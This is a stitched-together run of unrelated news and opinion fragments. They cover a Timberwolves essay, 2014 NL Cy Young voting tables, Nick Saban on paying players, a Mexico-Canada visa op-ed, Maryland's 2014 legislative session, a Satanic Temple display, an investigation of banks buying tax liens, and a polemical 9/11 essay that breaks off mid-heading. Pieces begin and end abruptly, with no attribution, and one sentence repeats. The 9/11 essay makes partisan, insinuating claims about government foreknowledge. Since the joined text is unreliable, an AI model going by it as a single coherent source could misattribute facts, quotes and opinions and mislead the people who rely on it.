But it’s just not, and Love and his elephantine memory know it. Wanting to forget something is not the same as forgetting it, and forgetting it is not nearly the same as having forgotten it. This isn’t Eternal Sunshine of the Spotless Mind. Love can’t erase what happened; he can only redact it, and right now he’s working furiously with the biggest, blackest Sharpie he can find. If he returns to All-Star form, if he leads the Wolves into the playoffs for the first time in nearly a decade, that burned year will be when he grew up, when he turned it around for a snake-bitten franchise. If he and the Wolves stumble, then last year will look like the first stone paving the way out of town.
The fan in me — the one who followed the Wolves from afar before moving to Minneapolis just in time for their run to the Western Conference finals in 2004 — wants the former. Obviously. But what all of me wants maybe even more than that is for Love to get to truly test himself without the distractions of injuries and contract negotiations this year and simply to see — to see what he and this team are truly capable of doing, and to come through the season that’s laid out before us and understand a little better. As Faulkner also said, “This is not anything yet. It all depends on what you do with it, afterward.”
Kershaw was the fifth NL pitcher to win the award in consecutive seasons. Maddux and Johnson each won four years in a row. The other back-to-back winners were Koufax and Tim Lincecum. Successive victories have occurred five times in the AL: twice by Clemens and once each by McLain, Martinez and Jim Palmer.
Kershaw’s third Cy Young Award tied the Dodgers’ franchise record of Koufax and marked the ninth time a pitcher has won the award at least that often. Clemens holds the record with seven (six in the AL and one in the NL). Johnson won five times (four in the NL and once in the AL) and Maddux and Carlton four times each (all in the NL). Other three-time winners in addition to Koufax were Martinez (two in the AL and one in the NL), Palmer (all in the AL) and Tom Seaver (all in the NL).
This election marked the 12th time a Dodgers pitcher won the award. In addition to Kershaw and Koufax, Dodgers winners were Don Newcombe, Don Drysdale, Mike Marshall, Fernando Valenzuela, Orel Hershiser and Eric Gagne. No other club has won the award more than seven times.
Kershaw, Cueto and Wainwright were the only pitchers named to every ballot.
The Reds have never had a Cy Young Award winner. Cueto was the fifth Cincinnati pitcher to finish second. Other Reds pitchers who were runners-up were Pete Schourek in 1995, Danny Jackson in 1988, Mario Soto in 1983 and Tom Seaver in 1981.
Ballots from two writers in each league city prior to postseason play are tabulated on a system that awards seven points for first place, four points for second place, three points for third place, two votes for fourth place and one point for fifth place.
2014 NL Cy Young
Player, Team 1st 2nd 3rd 4th 5th Points Clayton Kershaw, Dodgers 30 210 Johnny Cueto, Reds 23 6 1 112 Adam Wainwright, Cardinals 7 23 97 Madison Bumgarner, Giants 13 2 28 Jordan Zimmermann, Nationals 1 7 8 25 Cole Hamels, Phillies 6 5 17 Zack Greinke, Dodgers 2 2 6 Doug Fister, Nationals 1 3 5 Jake Arrieta, Cubs 3 3 Craig Kimbrel, Braves 3 3 Stephen Strasburg, Nationals 3 3 Henderson Alvarez, Marlins 1 1
Below is a breakdown of the 30 individual ballots, submitted by two writers representing each city in the National League. Note that in some cases (*), when a city does not have enough eligible voters, a voter from another city represents that chapter. For more information on the voting, see our Voting FAQ.
Fresh off the heels of last week's ruling that Northwestern football players qualify as employees of the university and have the ability to unionize, Alabama's coach chimed in with his thoughts on the matter, saying how he's long been an advocate of players' rights.
"I've always been an advocate of players being compensated the best that we can to help them," Saban told reporters following practice on Monday night. "Whatever the NCAA rule is and whatever they decide to do, I've always been an advocate of the player and the quality of life that a player has. I think that having a voice in what happens, I think, is something that the players probably ought to have."
Saban, however, said that all is not what it seems.
The coach of four national championships and 33 NFL draft picks took care to point out how schools aid in each player's development, noting how Alabama invests in "quality support staff to help players that may have a chance to go on and play at the next level."
Saban asked the question that's troubled so many in the course of the Northwestern case: "Not just the value of the scholarship, what's the value of him getting an education?"
"On a per-player basis, what we invest in the player to try to help them be successful," he said. "We spent like $600,000 last year on personal development programs -- all things that directly affect the player having a chance to be successful. I can't even tell you what our academic support budget is, trying to invest in a player and what is the value of him getting an education and graduating from school here?"
Saban comes to the issue with mixed emotions. On the one hand, he agrees that players should be compensated, though, like many, he doesn't know how to accomplish that in an equitable manner. But on the other hand, he doesn't want to devalue the worth of a scholarship, the opportunity to play football on a high level and the chance at moving on to the riches of the NFL.
"We can't pay them but we can reinvest in trying to help them be successful in their future," Saban said, "which I think we do a marvelous job here at the University of Alabama. I think a lot of people do. I think that's what makes great programs. I think that's why players want to come and be a part of the program, because we do reinvest in the future and their chances of being successful, and we do care. And it's not just about football.
Since then, the regulations and procedures have been tightened. Decisions were made in three months, not three years. Regardless of the current legal debate, Mexico was one of the few countries Canada cited as a “designated country of origin”, recognizing us as a democracy with basically no discrimination by race, gender, religion or politics.
Mexico has a reasonable passport system, with recent technological improvements. Our border management has always been extremely tight with regards to non-European or non-North American countries, in order to limit migration and illegal activities.
Canadian migration authorities were, I think, overly alarmed by a famous case of a Romanian human trafficking ring with links to both the United States and Mexico. One Canadian immigration minister once expressed concern to me about Somali migrants. I told him Somalis do not carry Mexican passports, and that in the last five years, only 500 Somalis have come to Mexico — while several times as many live in the United States and Canada.
Canada needs to be praised for its humanitarian acceptance of 25,000 Syrian refugees — but it’s difficult to see how they pose less of a risk than a few hundred Mexican asylum seekers. Canada needs to be praised for its humanitarian acceptance of 25,000 Syrian refugees — but it’s difficult to see how they pose less of a risk than a few hundred Mexican asylum seekers.
We do have a porous border with Central America, with 100,000 crossings per year, but that is a problem more for ourselves and for the United States than for Canada. Violence, drugs and organized crime are serious issues for Mexico, of course, but they are highly localized in the southwest Pacific zone, at Tamaulipas and near the border crossings. The danger of Mexican organized crime and drug trafficking in Canada would not be any greater than the danger posed by existing criminal networks. We are cushioned by the ‘elephant’ in between, plus several hours of flight distance.
Mexicans do not require visas to enter Europe and we eliminated visas for tourists from Peru, Colombia and Chile — countries which pose potential drug trafficking risks. With security cases handled in cooperation between security authorities, tourism between those countries has increased sevenfold.
In politics, timing is of the essence. It stands to reason that visa requirements should be eliminated by the time President Enrique Peña Nieto and his entourage arrive in Canada for the upcoming summit in late June, perhaps in an initially restricted form to prior holders of American or Canadian visas. This group, as visa-free nationals, could then enter Canada’s Electronic Travel Authorization System, which would later be made available to all Mexicans.
It would be unpalatable to Mexican public opinion if fifty visa-free countries enter the ETA System while Mexico, Canada’s third trading partner, does not. We have to be in the first group. As a matter of practical definition, elimination of visa requirements means, in practice, convergence and participation in the ETA System.
Canada needs to be praised for its humanitarian acceptance of 25,000 Syrian refugees — but again, it’s difficult to see how they pose less of a risk than a few hundred Mexican asylum seekers, even “phoney” ones.
Safeguards can be devised. ETA approval for a solicitant is said to take two weeks to process. Canadian preclearance — with Canadian migration officials in Mexican airports and much-needed improvements to security information cooperation — could do the job. Penalties could be imposed on fraudulent Mexican travel or legal offices. Better information could be made available to the public.
Solve the visa problem and the rewards could be huge. The number of Mexican tourists (known to be big spenders) could rise to 500,000 and beyond. Mexican students at all levels could attend Canada’s top education institutions. Cross-border investment could increase, along the lines of Grupo Bimbo’s $1.8 billion purchase of Canada Bread.
Removing this time-consuming, pervasive visa irritant could allow our governments to focus on a broader and deeper agenda: energy, infrastructure environment, value chains, technology and political challenges. More than ever, a stronger North America needs closer Canada-Mexico relations.
Maryland lawmakers signed off on a plan Monday to raise the state minimum wage and, before adjourning for the year, acted to decriminalize possession of small amounts of marijuana — legislation that Gov. Martin O’Malley said for the first time that he would sign.
In the waning hours of the 90-day session, the last with O’Malley as governor, the General Assembly also finalized bills to outlaw “revenge porn” and to get tougher on people who cause car accidents while using a handheld cellphone.
A deal to boost funding for tax credits for production companies that choose to film in Maryland collapsed minutes before the session ended at midnight with bursts of confetti, leaving less money for the Netflix series “House of Cards” and other productions than supporters had sought.
The 2014 agenda was not as ambitious as in recent sessions, but candidates will have plenty to talk about as they head onto the campaign trail ahead of the June primaries.
With final passage in the House on Monday, Maryland became the second state to embrace President Obama’s goal of $10.10 an hour, compared with the current federal minimum of $7.25. Under the bill, Maryland employers will have to pay $10.10 by July 2018, two years later than O’Malley (D) originally proposed. Obama applauded Maryland lawmakers for “leading by example.”
Lyndon Snowden empties trash cans on the assembly floor during a lunch break on the last day of the Maryland Assembly on Monday in Annapolis. (Linda Davidson/The Washington Post)
Republicans previewed some of their campaign arguments against the wage increase during Monday’s floor debate, saying that Maryland businesses, already burdened by tax increases, cannot absorb the higher payroll costs.
“You might feel good today,” said Del. Andrew A. Serafini (R-Washington). “But the reality is that in the long run, it will hurt jobs.”
Del. Dereck E. Davis (D-Prince George’s), chairman of the House Economic Matters Committee, said such fears are overblown.
“If not now, when? When is a good time?” Davis said. “Ultimately, the time is now.”
Lawmakers finished work on two bills that would change Maryland’s marijuana laws. One would impose civil fines rather than criminal sanctions on possession of less than 10 grams of the drug. The Senate gave its final sign-off late Monday afternoon on a 34 to 8 vote.
O’Malley, a former prosecutor who rose to prominence as a tough-on-crime mayor of Baltimore, said he used to think decriminalization “might undermine the public will necessary to combat drug violence and improve public safety.” Now, he said, he has come to believe that the measure passed Monday “might even lead to a greater focus on far more serious threats to public safety and the lives of our citizens.”
The legislature also passed a measure to fix a law enacted last year to make marijuana more broadly available to those who would benefit from it because of illness. Under the 2013 medical marijuana law, responsibility for the program was given to academic medical centers, but none have been willing to participate. Under the new measure, an existing commission would certify physicians to recommend that their patients receive the drug. Patients could then get the drug from state-licensed dispensaries.
Another bill approved on the final day would make it a misdemeanor to publish sexually explicit images of a person on the Internet without that person’s consent. Violators of the “revenge porn” measure could be punished by up to two years in prison and a $5,000 fine. California, New Jersey and, most recently, Virginia have passed similar bills.
The Senate and House reached a compromise between two versions of “Jake’s Law,” a measure that would stiffen penalties for drivers who cause serious crashes while talking or texting on a handheld cellphone. The legislation was filed in memory of Jake Owen, a 5-year-old killed in a 2011 crash.
Up until the final minutes of session, lawmakers tried to reach a deal to make more money available to reward production companies that choose to film in Maryland. Both sides agreed to increase funding to $18.5 million, although from different sources.
The House wanted to include language that would penalize production companies that film a season or two in the state, but then relocate elsewhere. Senators refused to agree to those conditions, and at one point angrily walked away from a huddle meeting in the House lounge, surrounded by reporters.
The program will still receive $15 million through its annual allocation and other sources, but lawmakers were unsure if that would be enough to keep the makers of “House of Cards” happy enough to film Season 3 in Maryland.
Earlier in the session, lawmakers passed a package of bills to curb domestic violence, including one championed by two of the leading Democratic candidates for governor, Lt. Gov. Anthony G. Brown and Attorney General Douglas F. Gansler. The measure would allow judges to impose harsher sentences on abusers who commit acts of violence in the presence of a child.
Another bill that passed this session ends Maryland’s distinction as the only state that requires “clear and convincing evidence” to receive a civil protective order. The legislation says only “a preponderance of the evidence,” a lower standard, is needed to receive such an order.
Brown also won approval of a modest first step in an expansion of a “universal” pre-kindergarten program that he has championed as a gubernatorial candidate.
After passing a string of tax increases in recent years, Democrats found one to cut in this election year, raising the state exemption under the estate tax to match that of the federal tax code.
The 2014 session was the last for O’Malley, who is term-limited after eight years. In previous sessions, at his urging, lawmakers have legalized same-sex marriage, adopted some of the most stringent gun-control legislation in the country, raised taxes on gasoline for the first time since 1992 to build more transportation projects, created incentives to jump-start the wind-power industry and launched what will be one of the most concentrated casino markets in the country.
This final session included difficult moments for the governor, as lawmakers held a series of briefings on problems with Maryland’s health insurance marketplace and passed several bills aimed at addressing another embarrassment for his administration: a scandal at a state-run jail in Baltimore where guards aided inmates in a drug and money-laundering conspiracy.
Legislators stiffened penalties on those who smuggle cellphones into correctional facilities, made it easier to take disciplinary action against wayward guards and gave the corrections department more authority to use polygraph testing on its employees.
The session was also notable for the passage of several bills that had failed in previous years. Among them were bills providing anti-discrimination protections for transgender people, imposing fines on people younger than 21 who sneak into casinos, prohibiting corrections officials from shackling pregnant inmates during labor and banning the retail sale of highly concentrated grain alcohol. After two years of wrangling, lawmakers also passed a breed-neutral dog-bite bill that slightly shifts the legal liability toward dog owners when their pets injure somebody.
Another bill will require people caught driving drunk with a child in the car to have an electronic device installed in their vehicles that verifies sobriety before the vehicles can be turned on.
The Michigan State Capitol Commission approved the group's request for a satanic holiday display on Dec. 11, according to a press release. In November, the commission sought legal advice about putting a Nativity scene on the capitol lawn. A member of the commission told the Lansing State Journal the Nativity scene would not be on display this year because the person backing it couldn't find someone to put up and tear down the display each day.
Jex Blackmore of The Satanic Temple's Executive Ministry said the group aims to encourage diversity.
“Where there is obstinate refusal to keep religious iconography off of public spaces, the least we can do is ensure that the Government is remaining neutral, respecting a diversity of religious views, with preference for, and exclusion of, none," Blackmore said in a statement.
Image by The Satanic Temple
The Satanic Temple also recently obtained approval to put a display in the Florida state capitol.
Nearly a dozen major banks and hedge funds, anticipating quick profits from homeowners who fall behind on property taxes, are quietly plowing hundreds of millions of dollars into businesses that collect the debts, tack on escalating fees and threaten to foreclose on the homes of those who fail to pay.
The Wall Street investors, which include Bank of America and JPMorgan Chase & Co., have purchased from local governments the right to collect delinquent taxes on several hundred thousand properties, many in distressed housing markets, the Huffington Post Investigative Fund has found.
In many cases, the banks and hedge funds created new companies to do their bidding. They gave the companies obscure, even whimsical names and used post office boxes as their addresses, masking Wall Street's dominant new role as a surrogate tax collector.
In exchange for paying overdue real estate taxes, the investors gain legal powers from local governments to collect the debt and levy fees. At first, property owners may owe little more than a few hundred dollars, only to find their bills soaring into the thousands. In some jurisdictions, the new Wall Street tax collectors also chase debtors over other small bills, such as for water, sewer and sidewalk repair.
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Some states allow the investors to tack on as much as 18 percent interest and a passel of legal fees and other charges. When property owners fail to make full payment, the investors can sue to foreclose - in some states within as little as six months.
In June, Bank of America snatched up liens on properties in Florida owned by low-income residents and nonprofit public interest groups, including a Salvation Army shelter, a preschool and a wildlife rescue group involved in the Gulf of Mexico oil spill cleanup, the Investigative Fund found in its examination. Bank of America also bought liens on properties of the wealthy, including a professional basketball star with the Los Angeles Lakers, Lamar Odom.
Some observers of the financial services industry said they were surprised to learn that banks, some of which received billions of dollars in taxpayer-funded bailouts in recent years, were rushing to profit from homeowners having trouble paying their tax bills.
"This is not how I'd like to be making my money," said James Cox, a Duke University School of Law professor who specializes in corporate and securities law. "I would find it personally distasteful to foreclose or press a claim against individuals, many of whom have lost their jobs and are in tight economic straits."
Five big banks involved in the industry, known as tax lien investing, collected a total of more than $106 billion in bailout money through the government's Troubled Asset Relief Program, known as TARP.
Over the last year, Bank of America, which received $45 billion in these taxpayer funds in 2008 and 2009, has bought liens on properties in scores of municipalities in at least a dozen states. Bank of America repaid the government in 2009.
Still, noted Cox: "There's no bailout for people struggling to pay their taxes."
Years ago, the big banks left the buying of tax liens largely to local real estate specialists and small-time investors. These days, banks and hedge funds, stung by the failure of many speculative investments, see tax liens as a relatively safe option that can yield returns of around 7 percent.
Some banks also are packaging tax liens as securities - in a similar way to how unpaid home loans are securitized - and selling them to investors.
If mortgage holders fail to pay overdue taxes, an investor could waltz off with a home worth hundreds of thousands of dollars for the price of paying the owner's tax bill. Most homeowners eventually pay their debt.
Put it all together and it is makes for a solid investment, said Lloyd McClendon, an owner of realauction.com in Plantation, Fla., one of several companies that conducts online auctions in Florida and other states.
"There's an awful lot of new, big money in the sales this year," said James Powell, a longtime Florida investor who remembers a time when local investors flocked to live auctions at courthouses. Typically, they would bid for liens by holding up paddles. Powell is still one of the few in the liens business who makes purchases using his own name.
But the smaller investors, noted Powell, have been overtaken by well-heeled banks and funds that now bid online, and in volume.
Banks and hedge funds usually buy the liens through online auctions that permit them to bid in bulk, and they can use any name they want.
The giant Bank of America, for instance, has bid in Florida tax lien sales using colorful names such as Bennu, LLC, named after a mythical bird said to be the soul of the ancient Egyptian sun god. It also has bid as Osprey, LLC, and Ecru, LLC, named after the French word for a pale brown color.
Fortress Investment Group, a hedge fund run by former Fannie Mae chief Daniel Mudd, has bought tax liens under 17 different corporate names. Some evoke tranquil, bucolic settings, such as Pleasant Valley Capital, LLC and Travis Farm Investments, LLC.
Representatives of several prominent banks and hedge funds contacted by the Investigative Fund, from JPMorgan to Bank of America and Fortress Investment Group, declined to comment for this article.
Some banks purchased liens directly; others financed investment groups that did so. For example, Wells Fargo lends to a liens buyer. Deutsche Bank invests through a subsidiary. And BankAtlantic, based in Fort Lauderdale, is a longtime tax certificate investor in several states, buying liens under the names of several subsidiaries.
Though several mortgage lenders, including JPMorgan, recently suspended foreclosures amid concerns that some may have been done improperly, the slowdown is not expected to apply to foreclosures stemming from unpaid taxes.
The Investigative Fund identified major tax lien purchasers, many for the first time, through a computer-assisted analysis of more than 300,000 liens, municipal, corporate and court filings and other documents obtained from local government officials in four states and the District of Columbia. The Investigative Fund then traced these purchasers to the major financial institutions that oversaw them, invested in them, or lent money to their operations.
Business 'Needs Scrubbing'
Local governments, faced with tight budgets and the challenges of collecting debt from property owners, strongly endorse online auctions because tax collectors can easily and rapidly recoup millions of dollars. Miami-Dade County, for instance, took in more than $374 million in June 2009 from the sale of about 60,000 local property tax liens.
Tax collectors defend the practice by pointing out that property owners can avoid added fees or the risk of losing homes by paying their bills on time. The threat of losing property often compels tardy homeowners to pay off just before the deadline; without severe penalties many people would simply ignore their obligations to pay property taxes, collectors say.
Some two dozen states and the District of Columbia allow tax sales, which spare the governments from added expenses of hiring their own debt collector, or foreclosing and becoming a landlord. Local governments generally require minimal identification - for instance, a Social Security number. They allow bidders to choose whatever names they wish, and don't check to see if bidders are using multiple identities.
The few investors willing to talk about the tax lien business with the Investigative Fund argue that they are playing a vital role in helping cash-strapped local governments plug holes in budgets and, in some cities, helping rehabilitate older buildings. That returns the properties to the tax rolls, and can help revive beleaguered neighborhoods, they say.
"Budget-challenged cities are using the proceeds from their [tax lien] sale as an important source of funding," said Gabriel Boehmer, a spokesman for Wells Fargo Bank, which lends to companies that buy tax liens.
Critics aren't so sure. "If your only goal is to maximize your rate of return, this is a nice industry," said Frank Alexander, a law professor at Emory University with expertise on tax sales. "The question becomes: Do you mind being a vulture and preying on people?"
Alexander argues that when local governments privatize tax collection duties they "wash their hands of all responsibility" for ensuring property owners are treated fairly.
In Cleveland, officials are beginning to express concern about the consequences of trusting the new tax collectors. Cuyahoga County canceled this year's tax sale amid alarm that previous ones had contributed to an upsurge in home foreclosures and further decay in already marginal neighborhoods. "With the economy the way it is now, we won't have a tax sale for at least one year," said Robin Thomas, Cuyahoga County's chief deputy treasurer. Her aim: To buy homeowners in Cleveland "a little more time" to get caught up with their property taxes.
Despite national reform efforts that have focused on debt collection, from credit cards and payday lenders to checking account fees, the fairness of tax sales to homeowners remains largely a local, unregulated matter. A new consumer protection bureau created by Congress has no explicit authority to watch over local tax sales.
"There is no oversight at all," said District of Columbia Attorney General Peter Nickles, who is suing a tax lien investment firm for charging homeowners what he alleges are exorbitant fees to get their homes out of hock.
In a separate matter, the U.S. Department of Justice's antitrust division is investigating allegations of possible tax-sale bid rigging in two states. The ongoing probe began in Maryland, where three men pleaded guilty to criminal charges earlier this year. A federal grand jury in New Jersey has subpoenaed records from several major tax lien investors, including a JPMorgan subsidiary, and a Virginia company that serviced the Bank of America tax lien portfolio in Florida this year. No charges have been brought in the New Jersey investigation.
Said Nickles of the tax lien business: "This is one of the areas that really needs a good scrubbing."
Small Debts Grow Fast
Tax sales routinely place home ownership in jeopardy over relatively small sums, sometimes just a few hundred dollars, the Investigative Fund data analysis of hundreds of thousands of liens records shows. For instance, more than two of every five liens sold earlier this year in 31 Florida counties and in Maricopa County, Arizona (Phoenix), were for unpaid taxes of less than $1,000; more than 90 percent were less than $5,000. Results were similar in Toledo, Ohio.
Some jurisdictions such as Baltimore toss in unpaid water bills and other municipal fees of $250 or more. In May, the Investigative Fund reported how an unemployed former mental health counselor with four children named Vicki Valentine lost her home even though the mortgage had been paid in full. She had owed $362 on an overdue water bill when investors took over and added thousands of dollars in legal fees she couldn't afford. (In response, city officials are seeking statewide legislation that would prohibit the sale of tax liens of less than $750.)
To be sure, many debtors eventually pay the mounting bill rather than lose property of greater value. And some states such as Florida give homeowners up to two years to pay off the debt before investors can force the sale of their property. But in other states, those who fail to pay can quickly find themselves in a thicket of escalating debt and in a costly - and often losing - legal battle to keep a roof over their heads.
Barbara Carpenter, a 58-year-old disabled Ohio retiree, found herself in such a situation. The former worker for the American Red Cross struggled to save her Toledo home from a JPMorgan entity called Plymouth Park Tax Services, which in recent years has been among the nation's top buyers of tax liens.
"It's a great neighborhood and the house is in good condition," said Carpenter, who paid $67,000 for the one-story home in 2004. But she fell behind in paying her taxes and a certificate for $1,500 in unpaid taxes was sold off to Plymouth Park, which is based in New Jersey.
Carpenter's lawyer, Joseph Westmeyer, said Plymouth Park routinely charges an upfront fee of around $1,500 as soon as it buys the lien and 18 percent interest on the debt. If they don't get paid, they foreclose.
"It's not a good deal for poor customers," said Westmeyer. Carpenter wound up selling the house in August for less than half what she had paid. Plymouth Park received about $12,000 in legal fees and other charges, including some additional taxes, Westmeyer said, quoting from court records.
Andrew Neuhauser, an attorney with Advocates for Basic Legal Equality in Toledo, said his group believes the Lucas County tax sale, which reached a peak of about $5.4 million in liens during 2006, has led to hundreds of foreclosures. That, in turn, has partly eroded the tax base and had a "devastating effect" on some neighborhoods, he said. "It's a short-term gain for the county that in the long term does harm," Neuhauser said.
Gail Michaud, a 71-year-old retired real estate broker who lives in a $60,000 home in Dania Beach, Fla., recently fell behind on the property taxes. In June, Broward County sold collection rights to her unpaid bill - only $782 - to Bennu, LLC, the Bank of America arm named after the mythical bird.
Michaud, who said she receives food stamps, resents having to pay interest charges to the nation's mightiest bank - especially because when the bank was in trouble the government came to the rescue. "The taxpayers gave them their bailout money, and they are still doing the same thing they used to. They look their nose down at people and think they can do whatever they want," she said.
Florida Boom
Florida, the nation's largest tax sale market and one of the few states where large transfers of liens can be tracked, shows how the collapse of a once-buoyant real estate market can be a boon for tax lien investors, especially banks and hedge funds.
This year alone, counties have offered more than $1.9 billion in tax liens and found eager buyers for nearly all of them. Buyers from across the U.S., the Cayman Islands, Bermuda and Panama bid alongside the banks and hedge funds that cater to wealthy investors.
In this year's sale in Orange County, which includes Orlando, bank-affiliated companies or hedge funds gobbled up nearly 90 percent of the 24,000 tax liens sold. In the Fort Lauderdale area, officials sold more than a quarter of the liens to entities financed by Bank of America.
Bank of America made most of its purchases in Florida through four limited liability companies. LLCs can limit exposure to lawsuits and can shield the owner's identity. In Florida, Bank of America's LLCs had the names Investments 2234, Bennu, and Ecru, and all used the same post office box in Atlanta as their business address, according to records on file in Florida counties.
In several Florida auctions, Bank of America's interests were managed by MTAG Services, one of the largest tax lien servicers in the U.S. The Vienna, Va., company has been subpoenaed by a federal grand jury in New Jersey that is investigating alleged collusion in bidding at tax sales.
MTAG's president, James Meeks, said his company is "cooperating fully" with the federal investigation. He added that "everybody who bought any substantial amount of liens in Jersey was subpoenaed." Meeks said that his company, like others in the industry, favors creative names like Bennu for companies that bid on tax liens.
"There's no rhyme or reason to the names," Meeks said.
Tax officials in several counties said they had no idea the companies were affiliated with the Bank of America.
"I know nothing about these companies. I don't have any background on them," said Juanita B. Sikes, tax collector in Hernando County, Fla., north of Tampa, where the numbers of liens sold earlier this year was nearly double those from 2005. "It's not on us to determine if they are a real person."
Several hedge funds saw opportunity in the Sunshine state as well.
One was the Fortress Investment Group headed by Mudd, the former chief executive of Fannie Mae. While Mudd was at the helm, Fannie's decision to take on more than $200 billion in risky loans crippled the mortgage giant and helped unravel the economy.
In only a few months, Fortress has purchased more than 30,000 tax liens in Florida counties using 17 different LLCs. Most registered for the tax sales using the 46th floor of an Avenue of the Americas skyscraper in midtown Manhattan - Fortress' headquarters - as their address.
Fortress began competing for tax liens this year after joining forces with three former executives of JPMorgan's tax liens subsidiary. The subsidiary, which bids under the names Xspand and Plymouth Park Tax Services, was among several companies subpoenaed in the grand jury investigation in New Jersey. Former New Jersey Gov. James Florio founded the company and has since sold his interest in it.
Neither JPMorgan nor Fortress would comment for this story. Repeated efforts to reach Mudd were not successful.
Anonymity Questioned
Although many local governments are pleased with the financial results of tax lien sales, D.C. officials question its fairness.
D.C. Attorney General Nickles criticizes Aeon Financial, LLC, a bank-financed investment group from Chicago that buys tax liens in some 10 states. Nickles asserts that Aeon has slammed homeowners, who sometimes owed just a few hundred dollars in back taxes, with $7,000 or more in legal fees.
In papers filed in a local D.C. court in late 2009, the attorney general's office accused the company of "engaging in a pattern of charging and collecting impermissible or excessive legal fees." In an interview, Nickles called that a "rip off."
Aeon responded that the fees are reasonable, comply with the law and escalate because of improper management by the District's tax collectors. Homeowners who consider the fees too high can challenge the charges in court.
Court papers show that after Aeon bought liens in the nation's capital, property owners received notices from a Chicago law firm. The notices warn homeowners to "act now or you could lose your property/investment." An accompanying letter on the law firm's letterhead states that "THIS PROPERTY IS IN FORECLOSURE" and demands payment of legal fees.
In April 2009, Nickles formally notified Aeon's lawyer, Malik J. Tuma, that he had launched a preliminary investigation of Aeon. The company's notices to homeowners appear "at least, to be deceptive and, at worst, potentially fraudulent," wrote Assistant Deputy Attorney General David Fisher.
In 2008, when Aeon Financial paid the District $4.6 million for the right to collect on 400 liens, it was the single biggest purchaser of tax liens. Even so, Nickles said he still has no idea who the company's owners are. He is hoping the court case will flush out their names.
An Investigative Fund reporter visiting the address printed on the letters from the Chicago law firm found it to be a mail drop at a UPS Store.
Reached by phone, Tuma declined to comment on Aeon's business practices, citing the ongoing litigation with the District. He would not identify Aeon's principals and said the mailbox at the UPS Store was used "for the safety of our employees."
Tuma added: "There's nothing deceptive about it...I'm in D.C. Superior Court every Wednesday. It's not hard to find me."
Aeon, which has received funding from TCF Bank for tax liens purchases, has an office in Chicago's Willis Tower, formerly known as the Sears Tower, once the world's tallest building. Michael Wehenkel, who has identified himself as Aeon's chief operating officer in presentations to D.C. officials, did not respond to numerous requests for comment by phone and e-mail.
A spokesman for TCF, a Midwestern bank, said: "We were doing business with [Aeon] and no longer are."
Tax collectors in Florida don't always know who they're doing business with, either. Officials in Pinellas County want to know who exactly is behind a company called GL Funding Limited. Sales records show that GL Funding spent more than $10 million and dominated the tax sale in at least 10 Florida counties, most of them rural or smaller cities where interest rates tended to be much higher than in urban and resort areas.
GL Funding registered with several Florida tax collectors as a company with offices in the Cayman Islands. But other counties list a post office box in Philadelphia as its address. The person who registered GL Funding in Pinellas County's tax sale provided Pinellas with a telephone number in Dallas, Tex. At that number, a man named Jess Weir declined to tell the Investigative Fund who is investing through the name GL Funding.
Said Sam McClelland, deputy tax collector in Pinellas County, Fla., where GL Funding acquired hundreds of liens earlier this year: "We're still trying to sort this out."
On 24 August 1814, things looked very dark for freedom's land. That was the day the British captured Washington DC and set fire to the Capitol and the White House. President Madison took refuge in the nearby Virginia woods where he waited patiently for the notoriously short attention span of the Brits to kick in, which it did. They moved on and what might have been a Day of Utter Darkness turned out to be something of a bonanza for the DC building trades and up-market realtors.
One year after 9/11, we still don't know by whom we were struck that infamous Tuesday, or for what true purpose. But it is fairly plain to many civil-libertarians that 9/11 applied not only to much of our fragile Bill of Rights but also to our once-envied system of government which had taken a mortal blow the previous year when the Supreme Court did a little dance in 5/4 time and replaced a popularly elected president with the oil and gas Cheney/Bush junta.
Meanwhile, our more and more unaccountable government is pursuing all sorts of games around the world that we the spear carriers (formerly the people) will never learn of. Even so, we have been getting some answers to the question: why weren't we warned in advance of 9/11? Apparently, we were, repeatedly; for the better part of a year, we were told there would be unfriendly visitors to our skies some time in September 2001, but the government neither informed nor protected us despite Mayday warnings from Presidents Putin and Mubarak, from Mossad and even from elements of our own FBI. A joint panel of congressional intelligence committees reported (19 September 2002, New York Times) that as early as 1996, Pakistani terrorist Abdul Hakim Murad confessed to federal agents that he was `learning to fly in order to crash a plane into CIA HQ'.
Only CIA director George Tenet seemed to take the various threats seriously. In December 1998, he wrote to his deputies that `we are at war' with Osama bin Laden. So impressed was the FBI by his warnings that by 20 September 2001, `the FBI still had only one analyst assigned full time to al-Qaeda'.
From a briefing prepared for Bush at the beginning of July 2001: `We believe that OBL [Osama bin Laden] will launch a significant terrorist attack against US and/or Israeli interests in the coming weeks. The attack will be spectacular and designed to inflict mass casualties against US facilities or interests. Attack preparations have been made. Attack will occur with little or no warning.' And so it came to pass; yet Condoleezza Rice, the National Security Advisor, says she never suspected that this meant anything more than the kidnapping of planes.
Happily, somewhere over the Beltway, there is Europe -- recently declared anti-Semitic by the US media because most of Europe wants no war with Iraq and the junta does, for reasons we may now begin to understand thanks to European and Asian investigators with their relatively free media.
On the subject `How and Why America was Attacked on 11 September, 2001', the best, most balanced report, thus far, is by Nafeez Mossadeq Ahmed [1] . . . Yes, yes, I know he is one of Them. But they often know things that we don't -- particularly about what we are up to. A political scientist, Ahmed is executive director of the Institute for Policy Research and Development [2] `a think-tank dedicated to the promotion of human rights, justice and peace' in Brighton. His book, The War on Freedom [3] , has just been published in the US by a small but reputable publisher.
Ahmed provides a background for our ongoing war against Afghanistan, a view that in no way coincides with what the administration has told us. He has drawn on many sources, most tellingly on American whistleblowers who are beginning to come forth and bear witness -- like those FBI agents who warned their supervisors that al-Qaeda was planning a kamikaze strike against New York and Washington only to be told that if they went public with these warnings they would suffer under the National Security Act. Several of these agents have engaged David P. Schippers, [4] chief investigative counsel for the US House Judiciary Committee, to represent them in court. The majestic Schippers managed the successful impeachment of President Clinton in the House of Representatives. He may, if the Iraqi war should go wrong, be obliged to perform the same high service for Bush, who allowed the American people to go unwarned about an imminent attack upon two of our cities as pre-emption of a planned military strike by the US against the Taliban.
The Guardian (26 September 2001 [5] ) reported that in July 2001, a group of interested parties met in a Berlin hotel to listen to a former State Department official, Lee Coldren, as he passed on a message from the Bush administration that `the United States was so disgusted with the Taliban that they might be considering some military action . . . the chilling quality of this private warning was that it came -- according to one of those present, the Pakistani diplomat Niaz Naik -- accompanied by specific details of how Bush would succeed . . .' Four days earlier, the Guardian had reported that `Osama bin Laden and the Taliban received threats of possible American military action against them two months before the terrorist assaults on New York and Washington . . . [which] raises the possibility that bin Laden was launching a pre-emptive strike in response to what he saw as US threats.' A replay of the `day of infamy' in the Pacific 62 years earlier?
Why the US needed a Eurasian adventure
